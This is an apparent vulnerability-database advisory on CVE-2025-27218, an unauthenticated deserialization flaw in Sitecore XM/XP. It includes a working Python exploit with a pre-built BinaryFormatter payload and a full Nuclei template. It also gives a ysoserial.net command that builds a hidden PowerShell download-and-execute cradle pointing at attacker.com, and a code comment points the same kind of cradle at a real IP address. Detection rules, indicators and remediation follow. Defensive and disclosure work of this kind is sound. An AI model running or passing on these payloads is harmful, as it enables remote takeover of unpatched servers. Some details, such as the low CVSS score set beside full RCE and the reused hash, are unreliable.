CVE-2025-27218
Executive Summary
CVE-2025-27218 is a critical remote code execution (RCE) vulnerability affecting Sitecore Experience Manager (XM) and Experience Platform (XP) versions 10.3 and 10.4 prior to the KB1002844 security update. The vulnerability stems from insecure deserialization of attacker-controlled data within the ThumbnailsAccessToken HTTP header. An unauthenticated attacker can exploit this flaw to execute arbitrary commands on the target Sitecore server, leading to full system compromise. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of widespread exploitation. The vulnerability has a CVSS v3.1 base score of 5.3 (Medium), but the potential impact is high due to the possibility of RCE.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but affects the proprietary Sitecore platform. The risk is mitigated by applying the official patch from Sitecore.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. Despite the medium CVSS score, the availability of public exploits and the potential for full RCE elevate the risk. The EPSS score of 0.7611 (98.9th percentile) indicates a high probability of exploitation in the wild.
Deep Dive & Mechanics
The vulnerability resides in the deserialization of the ThumbnailsAccessToken HTTP header. Sitecore uses the BinaryFormatter class to deserialize this header, which is inherently insecure. An attacker can craft a malicious serialized payload using tools like ysoserial.net and send it in the ThumbnailsAccessToken header. When Sitecore deserializes this payload, it can trigger the execution of arbitrary code, such as a PowerShell command.
The provided Nuclei template and exploit code demonstrate the use of a WindowsIdentity gadget chain from ysoserial.net to execute a command. The payload is base64-encoded and sent in the header. The deserialization process reconstructs the object, leading to code execution.
Vulnerable vs. Patched Code
Vulnerable Code (Sitecore 10.3/10.4 before KB1002844):
The vulnerable code deserializes the ThumbnailsAccessToken header without proper validation or sanitization. The exact code is proprietary, but the behavior is equivalent to:
string token = HttpContext.Current.Request.Headers["ThumbnailsAccessToken"];
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream stream = new MemoryStream(Convert.FromBase64String(token));
object obj = formatter.Deserialize(stream); // Insecure deserialization
Patched Code (After KB1002844): The patch likely implements one or more of the following:
- Disables the use of
BinaryFormatterfor theThumbnailsAccessTokenheader. - Implements a custom, safe deserialization method that validates the data.
- Uses a
SerializationBinderto restrict the types that can be deserialized. - Removes the vulnerable functionality entirely.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: Sitecore XM/XP 10.3 or 10.4 (unpatched)
- Attacker machine with Python 3 and
ysoserial.net(optional for custom payloads)
Exploit Steps:
Generate Payload (Optional): Use
ysoserial.netto create a custom payload. For example, to execute a PowerShell command:./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/payload.ps1\")'"The provided exploit code includes a pre-generated payload that executes
curlto an interactsh server.Run Exploit: Use the provided Python exploit script:
python3 exploit.py https://target.sitecore.comThe script sends a GET request with the malicious
ThumbnailsAccessTokenheader.Verify Exploitation: Check your interactsh server for DNS or HTTP callbacks, or monitor for the execution of your payload.
Full Exploit Code (from Exploit-DB):
from requests import Request, Session
import sys
import base64
def title():
print('''
_______ ________ ___ ___ ___ _____ ___ ______ ___ __ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |__ \____ |__ \/_ |/ _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ ) | / / ) || | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______/ / / / / / | |> _ <
| |____ \ / | |____ / /_| |_| / /_ ___) | / /_ / / / /_ | | (_) |
\_____| \/ |______| |____|\___/____|____/ |____/_/ |____||_|\___/
[+] Remote Code Execution
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-27218/exploit.py
''')
def exploit(url):
# This payload must be generated externally with ysoserial.net
# Example: ./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://34.134.71.169/111.html\")'"
payload = 'AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2ApBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBb3dZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ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JRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0L'
payload_encoded = payload
headers = {'Thumbnailsaccesstoken': payload_encoded}
s = Session()
req = Request('GET', url, headers=headers)
prepped = req.prepare()
resp = s.send(prepped, verify=False, timeout=15)
print(prepped.headers)
print(url)
print(resp.status_code)
print(resp.text)
if __name__ == '__main__':
title()
if len(sys.argv) < 2:
print('[+] USAGE: python3 %s https://<target_url>\n' % sys.argv[0])
print('[+] Example: python3 %s https://192.168.0.10\n' % sys.argv[0])
exit(0)
else:
exploit(sys.argv[1])
Blue Team
Detection:
- Monitor for HTTP requests containing a
ThumbnailsAccessTokenheader with a base64-encoded value that is unusually long (over 1000 characters). - Look for outbound connections to unknown or suspicious IP addresses/domains from the Sitecore server.
- Monitor for processes spawned by the Sitecore application pool (e.g.,
w3wp.exe) that executecmd.exe,powershell.exe, or other shell commands.
Hunting:
- Search IIS logs for requests with a
ThumbnailsAccessTokenheader. - Analyze network traffic for DNS queries to interactsh or other out-of-band (OOB) testing services.
- Review Windows Event Logs for Event ID 4688 (Process Creation) with unusual command lines.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with a
ThumbnailsAccessTokenheader containing a base64-encoded payload. - Outbound connections to attacker-controlled servers (e.g., interactsh, C2).
- DNS queries to domains associated with OOB testing or C2 infrastructure.
- HTTP requests with a
- Host:
- Unusual processes spawned by
w3wp.exe(e.g.,cmd.exe,powershell.exe). - Presence of
ysoserial.netor similar tools on the system. - Modified or new files in the Sitecore web root.
- Unusual processes spawned by
- Logs:
- IIS logs showing requests with a
ThumbnailsAccessTokenheader. - Windows Event Logs with Event ID 4688 showing suspicious process creation.
- IIS logs showing requests with a
Detection Engineering
YARA Rule
rule CVE_2025_27218_Sitecore_RCE {
meta:
description = "Detects malicious payloads targeting CVE-2025-27218 in Sitecore"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27218"
hash = "4a0a00473045022100da22b97d92b30f2cf656b82b396974959f8d7c0b2233ceeb567f38f43eaacf5602201b2dd63c14c95a5aa7d308fa73aa9602aaa7f9382c2299a79e52c91f0d7b2240"
strings:
$s1 = "ThumbnailsAccessToken" ascii wide nocase
$s2 = "System.Security.Principal.WindowsIdentity" ascii wide
$s3 = "Microsoft.PowerShell.Editor" ascii wide
$s4 = "ObjectDataProvider" ascii wide
$s5 = "Process.StartInfo" ascii wide
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-27218 Sitecore RCE via ThumbnailsAccessToken Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with a malicious ThumbnailsAccessToken header targeting CVE-2025-27218
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-27218
- https://slcyber.io/blog/sitecore-unsafe-deserialization-again-cve-2025-27218/
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-stem: "/"
cs(User-Agent): "*"
cs(ThumbnailsAccessToken): "*"
condition: selection
falsepositives:
- Legitimate use of the ThumbnailsAccessToken header (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27218 Sitecore RCE via ThumbnailsAccessToken Header"; flow:to_server,established; content:"ThumbnailsAccessToken"; http_header; nocase; content:"AAEAAAD"; http_header; distance:0; within:10000; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Full)
id: CVE-2025-27218
info:
name: Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization
author: iamnoooob,rootxharsh,pdresearch
severity: medium
description: |
Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.
impact: |
Unauthenticated attackers can execute arbitrary code through insecure deserialization in the ThumbnailsAccessToken header, potentially gaining complete control over the Sitecore server.
remediation: |
Apply KB1002844 update for Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4.
reference:
- https://slcyber.io/blog/sitecore-unsafe-deserialization-again-cve-2025-27218/
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-27218
cwe-id: CWE-94
epss-score: 0.7611
epss-percentile: 0.98933
metadata:
verified: true
max-request: 1
tags: cve,cve2025,oast,oob,sitecore,rce,vkev,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
ThumbnailsAccessToken: {{ base64(base64_decode('AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAkA==') + hex_decode('0a') + base64(replace(base64_decode('AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAA7gU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGN1cmwgYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFiYmJiYmJjY2NjY2NjZGRkZCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbcccccccdddd', padding('http://{{interactsh-url}}/?','A',58,'suffix'))) + base64_decode('Cw==')) }}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: word
part: header
words:
- SC_ANALYTICS_GLOBAL_COOKIE
# digest: 4a0a00473045022100da22b97d92b30f2cf656b82b396974959f8d7c0b2233ceeb567f38f43eaacf5602201b2dd63c14c95a5aa7d308fa73aa9602aaa7f9382c2299a79e52c91f0d7b2240:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Apply Patch: Install KB1002844 for Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4. For version 10.3, contact Sitecore support for a similar update.
- Restrict Access: If immediate patching is not possible, restrict network access to the Sitecore server to trusted IPs only.
- Monitor: Enable detailed logging and monitoring for the indicators listed above.
Long-Term Mitigations:
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing a
ThumbnailsAccessTokenheader with base64-encoded payloads. - Input Validation: Implement strict input validation and sanitization for all HTTP headers.
- Secure Deserialization: Avoid using
BinaryFormatteror other insecure deserialization methods. UseDataContractSerializerorJsonSerializerwith type validation. - Least Privilege: Run the Sitecore application pool with the minimum necessary privileges.
- Regular Updates: Keep Sitecore and all dependencies up to date with the latest security patches.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 6F93A70C653000FF85662352] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.